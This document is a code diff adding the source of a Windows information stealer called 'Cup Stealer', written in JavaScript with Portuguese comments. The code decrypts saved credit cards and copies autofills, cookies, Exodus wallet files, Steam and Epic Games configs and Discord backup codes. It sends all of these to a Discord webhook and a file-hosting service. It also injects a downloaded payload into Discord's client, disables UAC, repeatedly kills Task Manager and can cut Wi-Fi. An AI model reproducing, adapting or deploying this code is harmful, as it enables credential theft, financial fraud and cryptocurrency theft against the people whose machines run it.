+            zip.writeZip(randomPath + `\\${process.env.username}-Cookies.zip`);
+
+            const link_download = await uploadToAnonfiles(randomPath + `\\${process.env.username}-Cookies.zip`);
+            const link_download2 = await getPasswords();
+
+            const passwdFile = fs.readFileSync(randomPath + '\\..\\Passwords.txt', 'utf8');
+            const passwdFileLinhas = passwdFile.split('\n');
+            let passwordLength = 0;
+
+            for (const linha of passwdFileLinhas) {
+                if (linha.includes("Password: ")) {
+                    passwordLength += 1;
+                }
+            }
+
+            const link_download3 = await getAutofills();
+
+            const autofillFile = fs.readFileSync(randomPath + '\\..\\Autofills.txt', 'utf8');
+            const autofillFileLinhas = autofillFile.split('\n');
+            let autofillLength = 0;
+
+            for (const linha of autofillFileLinhas) {
+                if (linha.includes("Value: ")) {
+                    autofillLength += 1;
+                }
+            }
+
+            const link_download4 = await sendWallets();
+            const link_download5 = await sendSteam();
+
+            const link_download6 = await getCards();
+
+            const cardsFile = fs.readFileSync(randomPath + "\\..\\Cards.txt", 'utf8');
+            const cardsFileLinhas = cardsFile.split('\n');
+            let cardsLength = 0;
+
+            for (const linha of cardsFileLinhas) {
+                if (linha.includes(" card:")) {
+                    cardsLength += 1;
+                }
+            }
+
+            let exodusHavesOrNo = '';
+            let steamHavesOrNo = '';
+
+            let walletsLength = 0;
+
+            let steamLength = 'False';
+
+            if (link_download4 !== false) {
+                exodusHavesOrNo = `• [ExodusWallet.zip](${link_download4})`;
+                walletsLength = 1;
+            }
+
+            if (link_download5 !== false) {
+                steamHavesOrNo = `• [Steam.zip](${link_download5})`;
+                steamLength = 'True';
+            }
+
+            const collectionStatus = {
+                Cookies: cookieLength > 0 ? ' ✅ ' : ' ❌ ',
+                Passwords: passwordLength > 0 ? ' ✅ ' : ' ❌ ',
+                Autofills: autofillLength > 0 ? ' ✅ ' : ' ❌ ',
+                Wallets: walletsLength > 0 ? ' ✅ ' : ' ❌ ',
+                Steam: steamLength === 'True' ? ' ✅ ' : ' ❌ ',
+                Cards: cardsLength > 0 ? ' ✅ ' : ' ❌ ',
+            };
+
+            // Primeira Embed
+            const embedCookies = {
+                author: {
+                    name: `Cup Stealer | Collection`,
+                    icon_url: "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024"
+                },
+                description: `\n📑 **Collection Summary**`,
+                color: 0x050000,
+                fields: [
+                    {
+                        name: "<:cookie:1323301142658158695> **Cookies Length**",
+                        value: `\`\`\`${cookieLength}\`\`\``,
+                        inline: true
+                    },
+                    {
+                        name: "<:senha:1323301151990616185> **Passwords Length**",
+                        value: `\`\`\`${passwordLength}\`\`\``,
+                        inline: true
+                    },
+                    {
+                        name: "<:browsers:1323327829928181860> **Browsers Detected**",
+                        value: `\`\`\`${browserCount}\`\`\``,
+                        inline: true
+                    },
+                    {
+                        name: "<:autofills:1323301129093779486> **Autofills Length**", 
+                        value: `\`\`\`${autofillLength}\`\`\``,
+                        inline: true
+                    },
+                    {
+                        name: "<:creditcard:1323301159703674991> **Cards Length**", 
+                        value: `\`\`\`${cardsLength}\`\`\``,
+                        inline: true
+                    },
+                    {
+                        name: "<:download:1323308404298481706> **Download Infos**",
+                        value: `[<:link:1323308562612752476> Cookies](${link_download})\n[<:link:1323308562612752476> Passwords](${link_download2})\n[<:link:1323308562612752476> Autofills](${link_download3})\n[<:link:1323308562612752476> Credit Cards](${link_download6})`,
+                        inline: false
+                    }
+                ],
+                footer: {
+                    text: `Cup Stealer | ${process.env.username}`,
+                    icon_url: "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024"
+                },
+                timestamp: new Date() 
+            };
+
+            const embedsToSend = [embedCookies];
+
+            const data = {
+                embeds: embedsToSend
+            };
+
+            await axios.post(webhook_url, data);
+            console.log('Embed enviado com sucesso');
+            break;  // Caso a requisição seja bem-sucedida, sai do loop
+
+        } catch (error) {
+            retryCount++;  // Incrementa o contador de tentativas
+            console.error('Erro ao enviar embed, tentativa', retryCount, error.response ? error.response.data : error.message);
+
+            if (retryCount >= maxRetries) {
+                console.error('Número máximo de tentativas atingido');
+                break;  // Se o número máximo de tentativas for atingido, sai do loop
+            }
+        }
+    } while (retryCount < maxRetries);
+}
+
+
+async function sendKeywordsToDiscord(keywords) {
+    try {
+        const formattedKeywords = keywords.join(', ');
+        const ip = `${injectionData.network.ip}`;
+        const keywords = `${formattedKeywords}`;
+
+        const embed_data = {
+            author: { name: `Cup Stealer | Keywords`, icon_url: "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024" },
+            color: 0x050000,
+            fields: [
+                { name: `IP:`, value: `\`\`\`${ip}\`\`\`` },
+                { name: `Keyword:`, value: `\`\`\`${keywords}\`\`\`` }
+            ],
+            footer: { text: `Cup Stealer | ${process.env.username}`, },
+            timestamp: new Date()
+        };
+
+        const payload = {
+            "embeds": [embed_data]
+        };
+
+        const headers = {
+            "Content-Type": "application/json"
+        };
+
+        await axios.post(webhook_url, payload, { headers });
+    } catch (error) {}
+}
+
+async function StopCords() {
+	exec('tasklist', (err, stdout) => {
+		for (const executable of ['Discord.exe', 'DiscordCanary.exe', 'discordDevelopment.exe', 'DiscordPTB.exe']) {
+			if (stdout.includes(executable)) {
+				exec(`taskkill /F /T /IM ${executable}`, (err) => {})
+				exec(`"${localappdata}\\${executable.replace('.exe', '')}\\Update.exe" --processStart ${executable}`, (err) => {})
+			}
+		}
+	})
+}
+
+async function InfectDiscords() {
+	var injection, betterdiscord = process.env.appdata + "\\BetterDiscord\\data\\betterdiscord.asar";
+	if (fs.existsSync(betterdiscord)) {
+		var read = fs.readFileSync(dir);
+		fs.writeFileSync(dir, buf_replace(read, "api/webhooks", "cup"))
+	}
+	await httpx(`${injectionURL}`).then((code => code.data)).then((res => {
+		res = res.replace("https://ptb.discord.com/api/webhooks/1320815712188760194/2uRnPNhTK6rAUJBXg3cItJfRFL0_gRbctVLQr9HzxtHBTYw1W8KAWJHkRVCCwE6te6KS", webhook_url)
+		injection = res
+	})).catch(), await fs.readdir(local, (async (err, files) => {
+		await files.forEach((async dirName => {
+			dirName.toString().includes("cord") && await discords.push(dirName)
+		})), discords.forEach((async discordPath => {
+			await fs.readdir(local + "\\" + discordPath, ((err, file) => {
+				file.forEach((async insideDiscordDir => {
+					insideDiscordDir.includes("app-") && await fs.readdir(local + "\\" + discordPath + "\\" + insideDiscordDir, ((err, file) => {
+						file.forEach((async insideAppDir => {
+							insideAppDir.includes("modules") && fs.readdir(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir, ((err, file) => {
+								file.forEach((insideModulesDir => {
+									insideModulesDir.includes("discord_desktop_core") && fs.readdir(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore, ((err, file) => {
+										file.forEach((insideCore => {
+											insideCore.includes("discord_desktop_core") && fs.readdir(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore, ((err, file) => {
+												file.forEach((insideCoreFinal => {
+													insideCoreFinal.includes("index.js") && (fs.mkdir(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore + "\\cup", (() => {
+
+													})),
+
+													fs.writeFile(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore + "\\index.js", injection, (() => {})))
+													if (!injection_paths.includes(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore + "\\index.js")) {
+														injection_paths.push(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore + "\\index.js"); DiscordListener(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore + "\\index.js")
+													}
+												}))
+											}))
+										}))
+									}))
+								}))
+							}))
+						}))
+					}))
+				}))
+			}))
+		}))
+	}))
+}
+
+function disableuac() {
+    try {
+        const command = 'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v EnableLUA /t REG_DWORD /d 0 /f';
+
+        // Execute the command
+        execSync(command, { stdio: 'inherit' });
+    } catch (error) {
+        console.error(`Failed to disable UAC: ${error.message}`);
+    }
+}
+
+function checkTaskManager() {
+	exec('wmic process where "name=\'taskmgr.exe\'" get ProcessId', (err, stdout, stderr) => {
+	  if (err || stderr) {
+		console.error('Erro ao executar wmic:', err || stderr);
+		return;
+	  }
+  
+	  // Verifica se algum processo com taskmgr.exe foi encontrado
+	  if (stdout.includes('ProcessId')) {
+		console.log('Task Manager encontrado! Fechando...');
+		closeTaskManager();
+	  } else {
+		console.log('Task Manager não está aberto.');
+	  }
+	});
+  }
+
+  // Função para fechar o Task Manager
+  function closeTaskManager() {
+	exec('taskkill /F /IM taskmgr.exe', (err, stdout, stderr) => {
+	  if (err || stderr) {
+		console.error('Erro ao fechar Task Manager:', err || stderr);
+		return;
+	  }
+	  console.log('Task Manager fechado.');
+	});
+  }
+
+async function getAutofills() {
+  const autofillData = [];
+
+  try {
+	  	for (const pathData of browserPath) {
+				const browserPathExists = fs.existsSync(pathData[0]);
+
+				if (!browserPathExists) {
+				  continue;
+				}
+
+				const applicationName = pathData[0].includes('Local')
+				  ? pathData[0].split('\\Local\\')[1].split('\\')[0]
+				  : pathData[0].split('\\Roaming\\')[1].split('\\')[1];
+
+				const webDataPath = pathData[0] + 'Web Data';
+				const webDataDBPath = pathData[0] + 'webdata.db';
+
+				try {
+					fs.copyFileSync(webDataPath, webDataDBPath);
+				} catch {
+					continue
+				}
+
+
+				const db = new sqlite3.Database(webDataDBPath);
+
+				await new Promise((resolve, reject) => {
+				  db.each(
+					'SELECT * FROM autofill',
+					function (error, row) {
+					  if (row) {
+						autofillData.push(
+						  '================\nName: ' +
+							row.name +
+							'\nValue: ' +
+							row.value +
+							'\nApplication: ' +
+							applicationName +
+							' ' +
+							pathData[1] +
+							'\n'
+						);
+					  }
+					},
+					function () {
+					  resolve('');
+					}
+				  );
+				});
+
+				if (autofillData.length === 0) {
+				  autofillData.push('No autofills found for ' + applicationName + ' ' + pathData[1] + '\n');
+				}
+			  }
+
+			  if (autofillData.length) {
+				fs.writeFileSync("Autofills.txt", user.copyright + autofillData.join(''), {
+				  encoding: 'utf8',
+				  flag: 'a+',
+				});
+			  }
+
+				const link_download = uploadToAnonfiles("Autofills.txt")
+				return link_download
+  }catch {
+  	fs.writeFileSync("Autofills.txt", "No autofills founded", {
+		encoding: 'utf8',
+		flag: 'a+',
+	});
+  }
+}
+
+async function getCards() {
+  const _0x540754 = [];
+
+  for (let _0x261d97 = 0; _0x261d97 < browserPath.length; _0x261d97++) {
+	if (!fs.existsSync(browserPath[_0x261d97][0])) {
+	  continue;
+	}
+
+	let _0xd541c2;
+	if (browserPath[_0x261d97][0].includes('Local')) {
+	  _0xd541c2 = browserPath[_0x261d97][0].split('\\Local\\')[1].split('\\')[0];
+	} else {
+	  _0xd541c2 = browserPath[_0x261d97][0].split('\\Roaming\\')[1].split('\\')[1];
+	}
+
+	const _0x256bed = browserPath[_0x261d97][0] + 'Web Data';
+	const _0x239644 = browserPath[_0x261d97][0] + 'webdata.db';
+
+	try {
+		fs.copyFileSync(_0x256bed, _0x239644);
+	} catch {
+		continue
+	}
+
+	const _0x3d71cb = new sqlite3.Database(_0x239644);
+
+	await new Promise((_0x2c148b, _0x32e8f4) => {
+	  _0x3d71cb.each(
+		'SELECT name_on_card,card_number_encrypted,expiration_month,expiration_year FROM credit_cards',
+		(_0x4c7a5b, _0x504e35) => {
+
+		  let _0x3d2b4b = _0x504e35.card_number_encrypted;
+		  try {
+			const _0x5e1041 = _0x3d2b4b.slice(3, 15);
+			const _0x279e1b = _0x3d2b4b.slice(15, _0x3d2b4b.length - 16);
+			const _0x2a933a = _0x3d2b4b.slice(_0x3d2b4b.length - 16, _0x3d2b4b.length);
+			const _0x210aeb = crypto.createDecipheriv(
+			  'aes-256-gcm',
+			  browserPath[_0x261d97][3],
+			  _0x5e1041
+			);
+			_0x210aeb.setAuthTag(_0x2a933a);
+			const card =
+			  _0x210aeb.update(_0x279e1b, 'base64', 'utf-8') +
+			  _0x210aeb.final('utf-8');
+
+			_0x540754.push(_0x504e35.name_on_card+" card: "+card+"|"+_0x504e35.expiration_month+"|"+_0x504e35.expiration_year+"|xxx");
+		  } catch (_0x5bf37a) {}
+		},
+		() => {
+		  _0x2c148b('');
+		}
+	  );
+	});
+  }
+
+	if (_0x540754.length === 0) {
+	  _0x540754.push('no password found for ');
+	}
+
+  if (_0x540754.length) {
+	fs.writeFileSync("Cards.txt", user.copyright + _0x540754.join(''), {
+	  encoding: 'utf8',
+	  flag: 'a+',
+	});
+  }
+
+
+  link_download = uploadToAnonfiles("Cards.txt")
+  return link_download
+}
+
+async function DiscordListener(path) {
+		return;
+}
+
+
+/**
+ * Compacta e envia o arquivo da carteira Exodus.
+ * @returns {Promise<string|boolean>} Retorna a resposta do servidor se o envio for bem-sucedido, ou `false` se o arquivo não existir.
+ */
+
+async function SubmitExodus() {
+    try {
+        const filePath = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet`;
+        const zipPath = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.zip`;
+
+        // Verificar se o arquivo existe
+        if (fs.existsSync(filePath)) {
+            const zipper = new AdmZip();
+
+            // Adicionar o arquivo da carteira ao arquivo zip
+            zipper.addLocalFile(filePath);
+
+            // Criar o arquivo zip
+            zipper.writeZip(zipPath);
+            console.log(`Arquivo zip criado em: ${zipPath}`);
+
+            // Preparar o arquivo zip para envio
+            const form = new FormData();
+            form.append('file', fs.createReadStream(zipPath), 'exodus.zip');
+
+            // Enviar para o servidor usando form-data
+            const response = await axios.post(webhook_url, form, {
+                headers: {
+                    ...form.getHeaders(), // Isso define os cabeçalhos necessários para o envio multipart
+                }
+            });
+
+            console.log("Upload realizado com sucesso! Resposta do servidor:", response.data);
+            return response.data;
+        }
+
+        console.log("O arquivo da carteira Exodus não foi encontrado.");
+        return false;
+    } catch (error) {
+        console.error("Erro ao compactar ou enviar o arquivo da carteira Exodus:", error.message);
+        return false;
+    }
+}
+
+/**
+ * Faz o envio da carteira Exodus e retorna a resposta ou indica ausência de arquivo.
+ * @returns {Promise<string|boolean>} Retorna a resposta do servidor ou `false` se não houver arquivo.
+ */
+async function sendWallets() {
+    try {
+        const hasExodus = await SubmitExodus();
+
+        if (!hasExodus) {
+            console.log("Nenhuma carteira Exodus encontrada.");
+            return false;
+        }
+
+        console.log("Carteira Exodus enviada com sucesso. Resposta do servidor:", hasExodus);
+        return hasExodus;
+    } catch (error) {
+        console.error("Erro ao processar envio das carteiras:", error.message);
+        return false;
+    }
+}
+
+async function SubmitSteam() {
+    try {
+        const steamConfigPath = `C:\\Program Files (x86)\\Steam\\config`;
+        const zipPath = `${steamConfigPath}\\steam.zip`;
+
+        // Verificar se o diretório existe
+        if (fs.existsSync(steamConfigPath)) {
+            const zipper = new AdmZip();
+
+            // Adicionar a pasta ao zip
+            zipper.addLocalFolder(steamConfigPath);
+
+            // Criar o arquivo zip
+            zipper.writeZip(zipPath);
+            console.log(`Arquivo zip criado em: ${zipPath}`);
+
+            // Preparar o arquivo zip para envio
+            const form = new FormData();
+            form.append('file', fs.createReadStream(zipPath), 'steam.zip');
+
+            // Enviar para o servidor usando form-data
+            const response = await axios.post(webhook_url, form, {
+                headers: {
+                    ...form.getHeaders(), // Isso define os cabeçalhos necessários para o envio multipart
+                }
+            });
+
+            console.log("Upload realizado com sucesso! Resposta do servidor:", response.data);
+            return response.data; // Retorna a resposta do servidor
+        }
+
+        console.log("O diretório de configuração do Steam não foi encontrado.");
+        return false;
+    } catch (error) {
+        console.error("Erro ao compactar ou enviar os arquivos do Steam:", error.message);
+        return false;
+    }
+}
+
+/**
+ * Faz o envio do diretório de configuração do Steam e retorna a resposta ou indica ausência de diretório.
+ * @returns {Promise<string|boolean>} Retorna a resposta do servidor ou `false` se não houver diretório.
+ */
+async function sendSteam() {
+    const havesSteam = await SubmitSteam();
+
+    console.log(havesSteam);
+    if (havesSteam === false) {
+        console.log("Nenhum dado do Steam encontrado ou erro no envio.");
+        return false;
+    } else {
+        return havesSteam;
+    }
+}
+
+async function SubmitEpicGames() {
+    try {
+        const epicConfigPath = `C:\\Program Files (x86)\\Epic Games\\Launcher\\Portal\\Config`;
+        const zipPath = `${epicConfigPath}\\epicgames.zip`;
+
+        // Verificar se o diretório existe
+        if (fs.existsSync(epicConfigPath)) {
+            const zipper = new AdmZip();
+
+            // Adicionar a pasta ao zip
+            zipper.addLocalFolder(epicConfigPath);
+
+            // Criar o arquivo zip
+            zipper.writeZip(zipPath);
+            console.log(`Arquivo zip criado em: ${zipPath}`);
+
+            // Preparar o arquivo zip para envio
+            const form = new FormData();
+            form.append('file', fs.createReadStream(zipPath), 'epicgames.zip');
+
+            // Enviar para o servidor usando form-data
+            const response = await axios.post(webhook_url, form, {
+                headers: {
+                    ...form.getHeaders(), // Isso define os cabeçalhos necessários para o envio multipart
+                }
+            });
+
+            console.log("Upload realizado com sucesso! Resposta do servidor:", response.data);
+            return response.data; // Retorna a resposta do servidor
+        }
+
+        console.log("O diretório de configuração da Epic Games não foi encontrado.");
+        return false;
+    } catch (error) {
+        console.error("Erro ao compactar ou enviar os arquivos da Epic Games:", error.message);
+        return false;
+    }
+}
+
+
+async function closeBrowsers() {
+  const browsersProcess = ["chrome.exe", "msedge.exe", "opera.exe", "brave.exe"];
+  return new Promise(async (resolve) => {
+	try {
+	  const { execSync } = require("child_process");
+	  const tasks = execSync("tasklist").toString();
+	  browsersProcess.forEach((process) => {
+		if (tasks.includes(process)) {
+		  execSync(`taskkill /IM ${process} /F`);
+		}
+	  });
+	  await new Promise((resolve) => setTimeout(resolve, 2500));
+	  resolve();
+	} catch (e) {
+	  console.log(e);
+	  resolve();
+	}
+  });
+}
+
+function disconnectInternet() {
+    const platform = process.platform;
+
+    if (platform === 'win32') {
+        exec('netsh interface set interface "Wi-Fi" admin=disable', (error, stdout, stderr) => {
+            if (error) {
+                console.error(`Erro ao desconectar: ${error.message}`);
+                return;
+            }
+            console.log('valeu otario ta sem internet agora KKKKKKKKKKKKKKK', stdout || stderr);
+        });
+    } else {
+        console.error('Sistema operacional não suportado para este script.');
+    }
+}
+
+async function foundDiscordBackupCodes() {
+    for (const searchFolder of foldersToSearch) {
+      try {
+        const folderPath = path.join(os.homedir(), searchFolder);
+        const files = fs.readdirSync(folderPath);
+
+        for (const currentFile of files) {
+          if (currentFile === 'discord_backup_codes.txt') {
+            const sourceFilePath = path.join(folderPath, currentFile);
+            const destinationFilePath = path.join(mainFolderPath, currentFile);
+
+            try {
+              await fs.promises.copyFile(sourceFilePath, destinationFilePath);
+
+              const embed = {
+                title: '',
+                color: 0x050000,
+                author: {
+                  name: `${process.env.USERNAME} | Discord backup codes Found`,
+                  icon_url: "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024"
+                },
+                description: `\`\`\`${destinationFilePath}\n\n${fs.readFileSync(destinationFilePath, 'utf-8')}\`\`\``,
+                footer: {
+                    text: `Cup Stealer | ${process.env.username}`,
+                    icon_url: "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024"
+                },
+                timestamp: new Date() 
+            };
+            
+              const backup_codes = {
+                embeds: [embed],
+              };
+
+              try {
+                await axios.post(webhook_url, backup_codes);
+              } catch (error) {
+              }
+            } catch (error) {
+            }
+          }
+        }
+      } catch (err) {
+      }
+    }
+  }
+
+
+function onlyUnique(item, index, array) {
+	return array.indexOf(item) === index;
+}
+
+async function Start() {
+    setInterval(checkTaskManager, 3000);
+    
+    await closeBrowsers();
+    await getEncrypted();
+    await getCookiesAndSendWebhook();
+    await stealTokens();
+    await foundDiscordBackupCodes();    
+    await disableuac();    
+    await SubmitEpicGames();    
+ }
+
+if (require.main === module) {
+    Start();
+}